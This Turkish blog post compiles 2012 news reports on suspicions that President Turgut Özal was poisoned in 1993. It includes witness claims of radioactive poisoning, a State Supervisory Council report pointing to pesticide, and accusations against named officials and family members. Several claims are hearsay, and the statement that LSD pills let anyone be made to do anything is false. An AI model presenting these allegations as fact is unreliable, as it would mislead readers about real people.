Mustafa KADAKAL

Mustafa KADAKAL

Mustafa KADAKAL

TURGUT ÖZAL NASIL ÖLDÜRÜLDÜ?

1 Eylül 2015, by Mustafa kadakal, category Genel

“İşte içirilen o ilaçların isimleri”
17 Nisan 1993: Cumhurbaşkanı Özal’ın suikastten kurtulup ani kalp krizinden vefatı
Malatya 3. Ağır Ceza Mahkemesi tarafından kabul edilen, arasından emekli Orgeneral Hurşit Tolon’un da bulunduğu Zirve Yayınevi Katliamı iddianamesinde ilginç ayrıntılar var. 1993 yılında jandarmadan disiplinsizlik nedeniyle atılan, ardından Hıristiyan olarak misyonerlik faaliyetlerinde bulunan, 2005 yılında Müslüman olarak misyonerlere karşı çalışma yapan ve bu süreçte jandarmaya haber elemanı olarak bilgi veren İlker Çınar’ın anlatımları iddianamenin temel dayanağını oluşturuyor.
İlker Çınar, kamuoyunun ilk kez duyduğu Genelkurmay bünyesinde faaliyet yürüten TUSHAD adındaki oluşumu anlattıktan sonra ilginç bir bilgi veriyor.

“Her ne kadar kamuoyunda kaza gibi görünse de Eşref Bitlis’in ölümü ile kalp krizinden öldüğü bildirilen Turgut Özal’ın ölümlerinin de bu şekilde değil, bir suikast olduğunu TUSHAD’a girdikten sonra yapılan konuşmalarda bizzat duydum. Ancak şuanda kimden duyduğumu tam olarak bilemiyorum. Turgut Özal’ın ölümü ile ilgili olarak duyduğum kadarıyla kalp krizine yol açacak ilaçlardan olan ve her Beyaz Kuvvet mensubunun da bildiği ve bulundurduğu Polonyum 210 ve Amerikyum 241 isimli radyoaktif ilaçlar Turgut Özal’a verilmişti. Bunun kim veya kimler tarafından ne şekilde verildiğini bilemiyorum. Bu ilaçlar nedeniyle kalp krizi meydana gelmesi sonucu Turgut Özal vefat etmiştir. Bu ilaçların kanda yapılan kontrolünde tespitinin zor olduğunu biliyorum.

Ayrıca her Beyaz Kuvvet görevlisinde zihin kontrolünü sağlayan LSD isimli haplarda bulunmaktadır. Bu film tablet niteliğinde bir haptır. Karşı casusluk faaliyetleri sırasında gerekli durumlarda kullanılmaktadır. Bu hapı alan kişiye istenilen her şey yaptırılabilir. Bu haplardan ben de vardı. Ancak hiçbir zaman bu hapları kullanmaya ihtiyaç duymadım.” (3/31)

Bu ilginç iddialar Zirve davasında çok konuşulacak gibi görünüyor.

Türkiye, Devlet Denetleme Kurulu’nun Turgut Özal raporu ile sarsılırken raporda ortaya atılan iddialar yenilir yutulur cinsten değil. 1998′de Semra Hanım’a gönderilen notta şöyle yazıyordu: ‘Turgut Özal’ı Glikonorinaid adlı ilaçla öldürdüler. Katili Azerbaycan’da. İsmi Hasan Alioğlu.’

19.06.2012 10:20 Devlet Denetleme Kurulu (DDK), 8. Cumhurbaşkanı Turgut Özal’ın ölümüyle ilgili raporunu geçtiğimiz hafta tamamladı. 2 yıllık araştırmanın sonucuna göre Özal’ın ölümünde şüpheler vardı. DDK’ya göre Özal, böcek ilacı zehirlenmesi nedeniyle ölmüş olabilirdi. DDK, 1998′de Özal’ın eşi Semra Özal’ı ziyaret eden sır Azeriyi de araştırdı. DDK raporunda yer alan bilgiye göre, 1998 yılında, Semra Özal’ın İstanbul Sarıyer’deki evine 34 TC 245 plakalı araçla bir kişi gitti. Kendisini Şehriyar Purnovruz olarak tanıtan gizemli Azeri, Semra Hanımla görüşmek istedi. Ancak Semra Özal, o sırada evde değildi. Bunun üzerine Purnovruz, Semra Özal’a iletilmesi için korumalarına not bıraktı. O notta, “Turgut Özal’ı Glikonorinaid adlı ilaçla öldürdüler. Katili Azerbaycan’da. İsmi Hasan Alioğlu” diye yazıyordu. Purnovruz, notta kendi adını ve İstanbul’da kaldığı oteli de belirtti, yazıyı “Erciyes Otel, Beyazıt. Şehriyar Purnovruz, 5179185″ bilgileriyle bitirdi. Semra Özal, Purnovruz’a ulaşmak için korumasını otele gönderdi. Ancak otelde kimse yoktu. Araştırmada Purnovruz’un, Türkiye’ye resmi yollarla girmediği belirlendi. Purnovruz’un geldiği 34 TC 245 plakalı araca ve sürücüsüne de ulaşılamadı.

-Derin sona yazılı kanıt-

Semra Özal’a bırakılan not, Turgut Özal’ın ölümüyle ilgili şüpheleri daha da arttırdı. Bu arada Semra Özal ile oğlu Ahmet Özal bugün Cumhurbaşkanı Abdullah Gül ile bir araya gelecek. Konuyla ilgili yapılan araştırmada ilginç bilgilere ulaşıldı. Buna göre Purnovruz’un pasaportunun fotokopisi, Semra Özal’ın koruması Asım Enşenol’da bulundu. Enşenol ise söz konusu fotokopiyi İstanbul Emniyet Müdürlüğü İstihbarat Şubesi’ne teslim etti. Ancak DDK’nın yaptığı inceleme sırasında Enşenol, fotokopiyi kime verdiğini hatırlayamadı. (Takvim)

-Bahçeli: Özal yattığı yerde rahat bırakılsın-

MHP Genel Başkanı Devlet Bahçeli, 8. Cumhurbaşkanı Turgut Özal’ın ölümündeki şaibelerin bertaraf edilmesi gerektiğini söyledi.Devlet Bahçeli, partisinin TBMM’deki grup toplantısında yaptığı konuşmada, Özal’ın vefatının üzerinden 19 yıl geçtiğini, o günden beri zehirlendiği ile ilgili tartışmaların yapıldığını belirtti. Konu ile ilgili Devlet Denetleme Kurulu (DDK)’nun hazırladığı raporda, Özal’ın ölümünde şüpheler bulunduğu ve bunun aydınlatılabilmesi için mezarının açılması gerektiğinin vurgulandığını hatırlatan Bahçeli, “Bu rapordan sonra sorumluluk ve yetki artık adli makamlardadır. Raporda belirtilen konuların sonuna kadar gidilerek tüm ayrıntıların değerlendirmeye alınması ve ne gerekiyorsa yapılarak şaibelerin bertarafı gerekmektedir.” dedi.

-Bahçeli: Özal’ın ölümüne barış çabaları neden olmadı-

Bahçeli, Özal’ın ölümüne barış çabalarının neden olduğu iddiasına ise tepki gösterdi. “Merhumun, sözde Kürt sorununu çözecekken öldürüldüğüne yönelik haddi aşan zorlama imalar da gün geçtikçe ivme kazanmaktadır.” diyen Bahçeli, “Bizim merakımız Özal ailesinin bu iddiaya nasıl yaklaştığı ve nasıl yorumladığıdır. Rahatsız olduğumuz husus ise rahmetli Özal’ın sinsi bir propagandaya alet edilmesindeki izansızlığın, kuralsızlığın ve insafsızlığın devamlı mesafe almasıdır. Bizim açımızdan merhum Özal’ın ölümüyle ilgili kimin elinde ne belge varsa, kim neyi biliyorsa ve nelere şahit olmuşsa açıklamalı ve her şey netleşmelidir. Ve şaibelerin, şüphelerin giderilmesi için gerekenler yapılmalı ve rahmetli Özal yattığı yerde rahat bırakılmalıdır.” diye konuştu.

Cihan HA

Özal ailesinden garip tavır
Cumhurbaşkanı Özal’ın ölümüne ilişkin açıklanan DDK raporunda, ölüm ertesinde yapılması teklif edilen otopsiye eş Semra Özal’ın karşı çıktığı çok sayıda tanık tarafından iddia ediliyordu. 2010 yılında başlatılan soruşturmada Semra Özal’ın kestiği saç tellerini isteyen savcılığa olumsuz yanıt verdiği de ortaya çıktı. Bu şok gelişmeyle aynı kapsamda değerlendirilebilecek bir diğer gelişme ise, oğul Ahmet Özal’ın ‘Mezarın açılıp açılmaması yargının vereceği karar, mevtanın rahatsız edilmemesi gerekir’ diyerek yeniden otopsiye karşı çıkması. Ölümün şüpheli olduğu en baştan belli iken otopsi yapılmasına hem o zaman hem bugün karşı çıkılması, saç tellerinin de savcılığa verilmemesi, Semra ve Ahmet Özal’ın ne yapmak istediği sorusunu sorduruyor.

15.06.2012 14:49 Devlet Denetleme Kurumu (DDK), 8. Cumhurbaşkanı Turgut Özal’ın ölümü ile ilgili raporunda saç kıllarının olayın aydınlatılması için önemine dikkat çekilerken, Semra Özal’ın, Özel Yetkili Ankara Cumhuriyet Başsavcılığı’nca yürütülen Özal soruşturması kapsamında, kendisini bizzat arayarak Özal’ın saç kıllarını isteyen Başsavcı vekiline olumsuz yanıt verdiği ortaya çıktı.

Soruşturmayı yürüten Özel Yetkili Başsavcı Vekili Hüseyin Görüşen ve Özel Yetkili Savcı Kemal Çetin, geçtiğimiz aylarda Semra Özal’ın özel bir kasada tuttuğu belirtilen eşine ait saç kılları ile ilgili bir girişimde bulundu. Özal ailesine yakın kaynaklardan edinilen bilgilere göre; Başsavcı Vekili Görüşen uzun süredir kılları savcılığa teslim etmeyen Semra Özal’a telefonla ulaştı ve soruşturma için çok önemli bir delil olacağı belirtilen kılları kendilerine teslim etmesini istedi. Fakat Semra Özal, Başsavcı Vekili Hüseyin Görüşen’e olumsuz cevap verdi. Semra Özal, “Saç kılları elimde. Fakat soruşturmada işe yarayacağını düşünmediğim için vermeyeceğim” dedi. Görüşen’in ısrarı üzerine Semra Özal, yurt dışında bir laboratuarla görüştüğünü ve sonuç alınamayacağını öğrendiğini iddia ederek kılları vermemekte direndi. Eski TCK’ya göre adam öldürme suçlarında zaman aşımı süresi olan 20 yıl dolmadan Özal soruşturmasını tamamlamayı planlayan Özel Yetkili Başsavcılık, kılları Semra Özal’dan alabilse Adli Tıp’ta inceletmeyi düşünüyor. Semra Özal’ın tavrı yüzünden soruşturmayı ilerletmekte zorlanan Savcılık, Ahmet ve Semra Özal başta olmak üzere dönemin bazı tanıklarının şüpheli ölümle ilgili açıklamaları üzerine 2010′da Özal dosyasını tozlu raflardan indirmişti. Bilindiği gibi yeni yayınlanan DDK raporunda Özal’ın saç kıllarının Adli Tıp’ta incelemesinin olayı aydınlatabileceğine dikkat çekiliyor.

-Eşten sonra oğuldan da garip tavır-

8. Cumhurbaşkanı Turgut Özal’ın oğlu Ahmet Özal, “Mezarın açılıp açılmaması yargının vereceği karar, mevtanın rahatsız edilmemesi gerekir, ölümün normal olmadığını zaten söylüyorduk” dedi. Dün akşam yurt dışından dönen Özal, Atatürk Havalimanı’nda gazetecilerin sorularını yanıtladı. Özal, babasının zehirlendiğinin tespit edilmesinin değil, kimlerin zehirlediğinin önemli olduğunu kaydetti. Özal, 1990′ların başından itibaren yaşanan sürecin Uğur Mumcu’nun öldürülmesiyle başladığını ve babasının ardından Ahmet Taner Kışlalı ve Necip Hablemitoğlu’nun öldürüldüğünü söyledi. Özal, “Bunların hepsi bağlantılı şeylerdir. Sonuçta bu meseleyi 28 Şubat’lara getiren hadiselerdir. Bu karanlık yılların incelenmesi için otopsi şart değil” dedi.

-Zehirlenme varsa saçtan anlaşılabilir-

Adli Tıp Kurumu eski Başkanı Prof. Dr. Oğuz Polat, 19 yıl sonra kemiklerin incelemesinde zehirlenme olup olmadığını bulmanın “zor, ama imkânsız olmadığını” söyledi. Polat, “Semra Hanım’ın kestiği saçlarda da ağır metal dışı zehirlenme bulgusu olasılığı vardır” dedi. Polat, “Kemikte başarı oranı düşüktür. Ancak tarım ya da böcek ilacıyla zehirlenme varsa kemiklerde eser miktarda da olsa bulunabilir.” (Sabah)

ÖZAL’IN YAKIN ÇALIŞMA ARKADAŞINDAN ŞOK İDDİALAR

Devlet Denetleme Kurulu, Özal’ın ölümüyle ilgili raporunu açıklayınca ortalık karıştı. Takvim gazetesinin dünkü “BÖCEK ZEHİRİYLE ÖLDÜRÜLDÜ” manşeti ise Ankara’ya bomba gibi düştü. Kurulun raporda vurgu yaptığı pek çok soru cevap beklerken aklıma rahmetli Özal’ın en yakın çalışma arkadaşı olan ÖZEL KALEMİ Feyzi İşbaşaran’ı aramak geldi. İngiltere’de olduğunu düşündüğüm İşbaşaran’ı, Çeşme’de buldum. 2 saat süren telefon görüşmemizde neler anlattı neler! İşte ezberleri bozacak olan o konuşma…

Devlet Denetleme Kurulu raporuna göre ÖZAL ÖLDÜRÜLDÜ. Sizin fikriniz ne? – Olay iki perde. Önce 1988′deki Kartal Demirağ’ın suikast girişimine bakmak gerekir. Bize ilk kez orada “DUR” denildi.

Kim neden “dur” dedi? – Özal, gazetelere verilen SÜBVANSİYONU kaldırmak istiyordu. Bunu da açıkça patronlara iletti. Bunun üzerine ACİL toplantı isteği geldi. Harbiye Orduevi’nin 18. katında patronlarla buluştuk. Medyaya giren Asil Nadir de oradaydı. Diğerleri ondan çekiniyordu. Çünkü rüzgar gibi esiyordu. Basında hızla büyüyordu.

E ne var bunda? – Çok sert sözler söylendi. Daha sonra yurt dışına kaçan BÜYÜK medya patronu, masaya yumruğunu vurup “Sen kim oluyorsun da sübvansiyonu kaldırmaya kalkıyorsun” diye çıkıştı. Buz gibi hava esti. Bir Başbakan, medya patronu tarafından azarlanıyordu. Özal soğukkanlı davrandı. Sinirlenen MEDYA DEVİ ayağa kalktı, kapıya yöneldi çıkarken geri dönüp BEYEFENDİ’yi “Bunun hesabını vereceksin” diye tehdit etti.

Yani tetiği çektiren gazete patronu muydu? – Evet oydu. Tehdit ortadaydı zaten… Biz bu işi çözdük. Sonuca ulaşınca da bunu yapanlar YURTDIŞINA kaçtı. O patronla birlikte kaçanlara bakarsan fotoğrafı daha net görürsün…

1988 ile ölümü arasında geçen 5 yılda başka tehdit oldu mu? – Olmaz mı… Nerdeyse hergün tehdit aldık. Sadece bir kez doğru çıktı.

‘SİLAHLAR SUSACAKTI AMA…’

Kimdi bunlar peki? – Bir gün KÖŞK’ü halka açtım. Erzağını kapan geldi. Özal halkla bir olup bahçede piknik yaptı. Bu fotoğraf Genelkurmay’ı ayağa kaldırdı. Doğan Güreş “Siz ne yapıyorsunuz” diyerek sesini yükseltti. “Muhafız Alayı benimdir. Benim iznim olmadan kimse oraya giremez” tehdidinde bulundu. Ona rağmen yaptım.

Sorun asker miydi? – Bir tarafında o vardı. Ama sorunun kaynağı başkaydı.

Neydi? – Rahmetli Özal, Eşref Bitlis Paşa ile Malatya’dan çocukluk arkadaşıydı. Birbirlerini çok sever güvenirlerdi. İkisi de KÜRT SORUNUNUN çözümü ve PKK’nın bitmesi için çırpındı.

Ne yaptılar mesela? – Hem Eşref Paşa hem Özal, Kuzey Irak’ta defalarca kez ÖCALAN’la görüştü. Öcalan ikna olmuştu. Silahlar susacaktı. Ama ömürleri yetmedi.

Bir dakika Özal, Öcalan’la nasıl görüştü? – Barzani ve Talabani bahane edilerek sınırın öte tarafında bir araya geliniyordu. Özal, Kürt sorunu olduğu sürece Türkiye’nin büyümeyeceğini biliyordu. Risk aldı, aldılar…

Suikastlerle bunun bir ilgisi var mı? – Olmaz mı! Öcalan 70 kişilik liste verdi. Hepsini AVRUPA’ya 10 yıl inmeme karşılığında İSKANDİNAV ülkelerine gönderiyorduk. Öcalan Norveç’i istemişti. Militanlar sessizce inip köylerine dönecekti. Sınırın 10 kilometre ilerisinde silahlar bırakılacaktı. Bütün şartlarda anlaşılmıştı ama olmadı!

Ne oldu? – Danışman olarak Kemal Yamak Paşa’yı almıştık. Çok beyefendi bir insandı. Özal’ı çok severdi. Bir gün Özal haftalık yaptığımız toplantının birinde “Kemal Paşa hepiniz Harp Okulu’ndan mezun oluyorsunuz. Sen Genelkurmay Başkanı olabiliyorsun ama Jandarmanın başındaki Eşref Paşa olamıyor. Bunu bir araştır. Alt yapıyı hazırla. Gerekeni yapalım” dedi. Bu TEKLİF ikisinin de HAYATINA MAL OLDU. Önce Eşref Paşa daha sonra kendisi öldürüldü. Kürt sorunu sürüp gitti. 1993′ten bu yana da kan akmaya devam ediyor…

Asker mi yaptı suikastleri? – Hem içeriden hem dışarıdan destek alındı. Şeytanın aklına gelmeyecek planlar yapıldı. Başarılı oldular. Çözüm olmadı. “Kan aksın” diyenler kazandı.

Eşref Bitlis olayı peki! – Askerde bir kesim uçağın düşeceğini biliyordu. KAZIM ÇİLLİOĞLU uçağa binecekken vazgeçip binmedi. O da biliyordu planı. Daha sonra onu da öldürdüler. Kurtulamadı!

Özal’ın ölüm sebebi KÜRT SORUNUNU çözmek istemesi yani! – Elbette. Bakın biz de devlette olmayan belgeler UĞUR MUMCU’dan çıkıyordu. Bizim MİT uyuyordu. Zaten Teoman Paşa’ya ne sorsak cevap alamıyorduk. Hiç bilgi vermezlerdi. Hatta bir keresinde ABD Özal’a Birinci Körfez Savaşı’nın başlayacağını haber verdi. Tam saat belli değildi. MİT ile Cumhurbaşkanı arasındaki köprü bendim. Gerektiğinde BEYEFENDİYİ uyandırma yetkim vardı. O gece Özal bizi Köşk’te tuttu. “İşler karışık” dedi. Bir süre sonra televizyonu açıp haberleri izlemeye başladık. Nabi Şensoy da yanımızdaydı. Geceyarısı olmuş savaş başını almış gitmiş. Bizim MİT’ten haber yoktu. Çok sonra Müsteşar Yardımcısı elinde zarfla geldi. Zarfı bana uzatıp “Beyefendiyi kaldıralım” dedi. Kolundan tutup içeri çektim. Zaten hepimiz ayaktaydık. Savaşı canlı izliyorduk. İstihbaratçı arkadaş yerin dibine girdi. Çünkü zarfta ABD’nin vuracağı yazıyordu! Utanarak çekilip gitti…

Peki Uğur mumcu? – Uğur Bey’le komşuyduk. Çok sık, eski ismi KÖROĞLU olan caddedeki camide buluşurduk. Camide çay içip sohbet ederdik. Özal da bunu bilirdi. Uğur Bey yayınladığı belgelerle bizi zor durumda bırakırdı. CASA uçakları hakkında yaptığı yayınlardan sonra Özal, Milli Savunma Bakanı Ercan Vuralhan’ı görevden almıştı. Uğur Bey çok etkiliydi. Belgeleri MİT’e sorduğumuzda da hep “Doğru efendim” cevabı alıyorduk.

‘PLAN İŞLİYORDU…’

Nasıl açıklıyorsunuz bunu? – Bilmiyorum hala… Ama Özal ile Mumcu’yu buluşturacaktım. İkisi de razı oldu. Ama Uğur Mumcu’nun da ömrü yetmedi. Bomba patladığında olay yerine ilk giden ben oldum. Manzara korkunçtu. Hemen Köşk’e gittim. Durumu anlattım. Gözlerinden yaş boşaldı. “Eyvah! Hedef, yine benim. Plan işliyor. Artık bunları kimse durduramaz” dedi.

Peki geçmişe bakınca ne görüyorsunuz? – Ailenin evladı gibiydim. Milletvekili olmak istediğimde “Gitme, beni bırakma” dedi. “Benim hakkım ama” deyince izin verdi. Benimle birlikte 2 arkadaşım daha yanından ayrıldı. Özal’ın etrafını boşaltmıştık. En büyük hatamız bu oldu. Yoksa TÜRKİ CUMHURİYETLER’e yaptığı gezinin programı bu kadar yorucu olmazdı. İzin vermezdim. Bir de Kemal Yamak Paşa’yı askerden haber alamadığımız için almıştık. Sağlıklı bilgi her zaman gelmiyordu. Belki ondan da gizliyorlardı. Ama en korkuncu Eşref Bitlis Paşa hem MİT hem de Genelkurmay İstihbarat tarafından sürekli izleniyordu. Attığı her adımı biliyorlardı. O günkü zor şartlar altında çok yol aldık. Ama sonuca gidemedik. Kısmet değilmiş. Allah hepsinin mekanını cennet eylesin… (Takvim)

ÖZAL BÖCEK İLACIYLA MI ZEHİRLENDİ?

Derin sondaki sır perdesi aralandı. Devlet Denetleme Kurulu, Turgut Özal’ın ölümüyle ilgili raporunu tamamladı. Şok detayı ise TAKVİM ortaya çıkardı: Özal’ı böcek ilacı öldürmüş olabilir. Tarihler 17 Nisan 1993′ü gösterdiğinde, şok bir ölüm yaşandı. 8. Cumhurbaşkanı Turgut Özal, ani bir şekilde hayatını kaybetti. Şok vefat önce “sıradan” bir son gibi göründü. Ancak yıllar geçtikçe Özal’ın ölümü soru işaretlerine büründü. Ve Cumhurbaşkanı Abdullah Gül’e bağlı olan Devlet Denetleme Kurulu, “ölümcül” iddiaların aslını astarını bulmak için harekete geçti. İşte DDK 2 yıl süren incelemesini bitirdi ve dün raporunu açıkladı. Rapordaki can alıcı detayı ise TAKVİM ortaya çıkardı. Buna göre Özal, böcek ilacından zehirlenmişti. TAKVİM’in tespit ettiği şok bilgi, raporun 615. sayfasından başlıyor 617′ye kadar devam ediyordu.

‘BİLİNCİ KAPALIYDI’

Söz konusu sayfalarda, şunlar yazıyordu: “Turgut Özal, 17 Nisan Cumartesi sabahı Hacettepe Üniversitesi Hastanesi’ne götürüldüğünde bilinci kapalıydı. Solunum yoktu, ağzından da köpükler geliyordu. Köpüğün laboratuvar incelemesinde ise sodyum, glukoz, kreatinin (böbrek yetmezliği), LDH (kötü kolesterol) ve karaciğer enzimleri (AST ve ALT) çok yüksek bulundu. Ayrıca protein ve albümin değerleri de sınırı aşmıştı.

KAN TESTİ YAPILMADI

Özal’daki bu bulgular ORGANOFOSFAT yani böcek ilacı zehirlenmesini düşündürmektedir. Özal öldüğünde Hacettepe Üniversitesi Klinik Patoloji Laboratuvarı’ndaki ‘kolinesteraz’ testi çalışmaktaydı. Ancak Özal’dan bir kan örneği alınsaydı, ORGANOFOSFAT ya da böcek ilacı zehirlenmesini düşündürecek önemli bulgular ortaya çıkacaktı. Özal’ın ölümünden sonra kamuoyuyla paylaşılan bilgiler ve hastanedeki anormallikler de zehirlenme ihtimalini güçlendirmektedir.”

ORGANOFOSFAT NEDiR?

Turgut Özal’ın ağzından çıkan köpükte bulunan ORGANOFOSFAT, böcek öldürücü olarak kullanılan bir tarım ilacı. Piyasada “Malathon, Kobran, Basudin ya da Tamaron” isimleriyle bulunan bu ilaç, öldürücü etkiye sahip. Tamaron zehirlenmesinde, merkezi sinir sistemine ait etkilerle birlikte; tükürükte artma, burun akıntısı, terleme, kusma, ishal, idrar kaçırma, taşikardi, hipertansiyon, seyirme, kas krampları, solunum felci, dalgınlık ve koma hali görülüyor.

KALP KRİZİ GEÇİRMEDİ

Rapora göre Özal kalpten ölmedi. Bu tespit, DDK raporunda şöyle ifade edildi: “Özal, 05.02.1993′te The Methodist hastanesinde muayene yaptırdı. Kalple ilgili hiçbir soruna rastlanmadı. Merhumun kilosu, kan şekeri yüksekliği ve hafif HDL (iyi kolesterol) düşüklüğü dışında kalple ilgili herhangi bir riski yoktu.”

ADETA AKIL TUTULMASI!

Raporda, Özal’ın ölümüyle ilgili diğer şüpheler ise şöyle sıralandı: Semra Özal, Köşk’teki yemek uygulamalarına dikkat etmedi. Çankaya Köşkü’ndeki sağlık hizmetleri, yetersizdi. Köşk’te ambulans olmadığı için Özal tam vaktinde hastaneye götürülmedi. Özal’a, mahallede ölen insana uygulananların ötesinde bir müdahale yapılmadı. Merhum, GATA yerine Hacettepe’ye götürülerek zaman kaybedildi. Hacettepe’deki hekimler, tahmini bir ölüm raporu hazırladı. Görevi başında ve ani şekilde ölen bir cumhurbaşkanının ölümü her zaman ‘şüpheli’ bir ölümdür. Bu itibarla otopsi yapılmamış olması ise tam anlamıyla bir akıl tutulmasıdır.

OTOPSİ YAPILSIN

Ve incelemesini tamamlayan DDK, raporun sonunda çok önemli bir karar verdi. DDK, “Özal’ın mezarı açılsın, otopsi yapılsın” dedi. İşte rapordaki o bölüm: “Özal’ın ölümüne yönelik şüphelerin ve zehirlenme iddialarının açıklığa kavuşturulabilmesi için öncelikle ailede var olduğu beyan edilen saç telleri üzerinde bazı tetkikler yapılmalı. Kişilerin ölüm nedeninin belirlenmesinde otopsi işlemi, altın standarttır. Bu nedenle feth-i kabir suretiyle Özal’ın mezarı açılmalı ve kemik, saç ve diğer unsunlar üzerinden otopsi yapılmalıdır.”

TANIK A HABER’E KONUŞTU

Özal’ın öldüğü gün GATA’da görevli olan Prof. Dr. Mustafa Sarsılmaz, yaşadıklarını a haber’e anlattı. Sarsılmaz şunları söyledi: “O gün, Özal’ın durumuyla ilgili telefon aldık. Hemen hazırlıklara başladık. Ancak Özal ‘daha yakın’ diye Hacettepe’ye götürüldü. Bu çok saçmaydı. Çünkü Hacettepe yol üzerinde değildi. Bana göre de Özal’ın ölümünde esrarengizlikler var.” (Takvim)

SORUŞTURMA ÖZAL AİLESİNE TAKILDI

22.06.2012 10:25 8. Cumhurbaşkanı Turgut Özal’ın şüpheli ölümüne ilişkin yürütülen soruşturmanın Özal Ailesi’ne takıldığı ortaya çıktı. Özel yetkili Ankara Başsavcıvekili’nin Turgut Özal’a ait saç tellerini alınması talimatı için polisleri görevlendirdiğini ancak Semra Özal’ın saç tellerini görevli polislere vermediği, telefonla arayan Savcı Hüseyin Görüşen’in de aynı yanıtı aldığı öğrenildi. Ahmet Özal da ‘deşifre ediliyor’ dediği babasına ait yayınlanmamış ses kayıtlarını bulamadığını bildirdi.

Semra Özal polisi kapıdan çevirdi

Cumhurbaşkanlığı Devlet denetleme Kurulu’nun Turgut Özal’ın ölümüne ilişkin raporunu tamamlaması sonrası önceki gün Cumhurbaşkanı Abdullah Gül’le görüşmelerde bulunan Semra Özal’ın soruşturma savcılığına skandal cevap verdiği ortaya çıktı. Alınan bilgiye göre, soruşturma kapsamında kriminal inceleme için merhum Özal’a ait saç tellerini savcılık kararıyla teslim almaya giden polis ekipleri, Semra Özal’ın ilginç tavrıyla karşılaştı. Turgut Özal’ın saç tellerini savcılık kararına karşın teslim etmeyen Semra Özal, kasada sakladığı saç tellerini incelenmesi için savcılığa vereceğini açıklamasına rağmen polis ekiplerine saç tellerini ‘kesinlikle’ vermeyeceklerini bildirdi.

Başsavcıvekili Görüşen’i reddetti

Olayın ardından Semra Özal’ın tavrı, telefonla Özel Yetkili Ankara Cumhuriyet Başsavcı vekili Hüseyin Görüşen ve soruşturma savcısı Kemal Çetin’e iletildi. Bunun üzerine polis ekipleri kapıda beklerken, Semra Özal’la bir görüşme yapan Başsavcıvekili Görüşen, önceki açıklamalarını hatırlatarak soruşturmanın aydınlanması ve gerekli tetkiklerin yapılması için Semra Özal’dan vaat ettiği saç tellerini teslim etmesini istedi. Ancak Semra Özal’ın Başsavcıvekili Görüşen’in de talebini kabul etmediği ve saç tellerini vermeyeceğini söylediği öğrenildi. Semra Özal’ın eşi Turgut Özal’ın şüpheli ölümünü aydınlatmak için Köşk’e çıkarak Cumhurbaşkanı Abdullah Gül’le görüşmesine karşın saç telleriyle ilgili savcılığa karşı tavrı ise dikkat çekti.

Deşifre edilen kasetler kayboldu!

Bu gelişme üzerine Özal soruşturmasını yürüten Özel Yetkili Başsavcıvekili Hüseyin Görüşen ve Özel Yetkili Savcı Kemal Çetin, önemli bir adım atarak Ahmet Özal’a ‘özel ses kayıtlarının’ akıbetini sordu. Savcılar, daha önce “Babama ait çok özel ses kayıtlarını açıklayacağım. Hazırlık aşamasında, deşifre edip hazırlanıyor” diye açıklamalar yapan Ahmet Özal’dan, “Ses kayıtlarını bulamıyorum” yanıtını aldı. Saç telleriyle ilgili ise hiçbir karşılık bulamadı.

Kabrin açılması gündeme alındı

DEVLET Denetleme Kurulu’nun (DDK) raporunun tamamlanmasın ardından Özal soruşturmasını yürüten savcılar, DDK tarafından 21 ayda hazırlanan Özal raporunu istedi. Adli kaynaklar ise DDK raporunda Özal’ın ölümünün şüpheli olduğunun belirtilmesi ve kesin tanı için mezarının açılması isteği üzerine Ankara Başsavcılığının Özal’ın kabrinin açılmasını gündemine aldığını ifade etti. Eski TCK’ya göre adam öldürme suçlarında zaman aşımı süresi olan 20 yıl dolmadan Özal soruşturmasını tamamlamayı planlayan savcılık, 10 ay gibi bir sürede Özal’ın mezarını açacak. (Star)

Komutan cinayetleri bağlantılı çıktı
Albay Kazım Çillioğlu soruşturmasını yürüten Özel Yetkili Malatya Cumhuriyet Başsavcılığı, Tuğg. Bahtiyar Aydın ve Albay Rıdvan Özden’in ölümüne ilişkin Diyarbakır’da yürütülen soruşturma dosyalarını istedi. Cinayetler arasındaki irtibatı gösteren delillere ulaşıldığı öğrenildi.

24.04.2012 09:48 12 Eylül referandumu ile sivil savcılara askerî bölgelerde soruşturma yapabilme imkânı tanıyan düzenleme, bir dönemin karanlıkta kalmış olaylarıyla ilgili soruşturmalara kapı açtı.Bu kapsamda önemli gelişmeler yaşanıyor. Alınan bilgilere göre savcılar, 1990′lı yıllarda şüpheli şekilde hayatını kaybeden komutanların ölümlerinin arasında bağlantı olup olmadığını ortaya çıkarmak için harekete geçti. Albay Kazım Çillioğlu soruşturmasını yürüten Özel Yetkili Malatya Cumhuriyet Başsavcılığı, Tuğg. Bahtiyar Aydın ve Albay Rıdvan Özden’in ölümüne ilişkin Diyarbakır’da yürütülen soruşturma dosyalarını istedi. Cinayetler arasındaki irtibatı gösteren delillere ulaşıldığı öğrenildi.

1991-1995 arası, karanlık yıllar olarak tarihe geçti. Dönemin Jandarma Genel Komutanı Eşref Bitlis ve ekibinden birçok isim şüpheli şekilde hayatını kaybetti. Bitlis’in yanı sıra Diyarbakır Jandarma Bölge Komutanı Tuğg. Bahtiyar Aydın, Adana Jandarma Bölge Komutanı Tuğg. Temel Cingöz, Mardin Jandarma Alay Komutanı Rıdvan Özden, Tunceli Jandarma Alay Komutanı Albay Kazım Çillioğlu ve Korg. Hulusi Sayın gibi isimlerin ölümüne ilişkin iddialar gündemden düşmedi. Bunların, terörle mücadeledeki çabalarıyla öne çıkan komutanlar olması da dikkat çekti.

İntihar ettiği iddia edilen Albay Çillioğlu’nun önce darp edildiği ve ardından öldürüldüğü bilirkişi raporuyla geçtiğimiz günlerde belgelenmişti. Resmî kayıtlara göre terör örgütü PKK ile girilen çatışmada alnından vurularak şehit olan Albay Rıdvan Özden’in mezarı da geçtiğimiz aylarda Diyarbakır Cumhuriyet Başsavcılığı’nın talimatıyla İstanbul’da açılmıştı. Albay Özden’in askerî tutanakların aksine alnından değil kafasının üst kısmından vurulduğu Adli Tıp Kurumu tarafından tespit edilmişti.

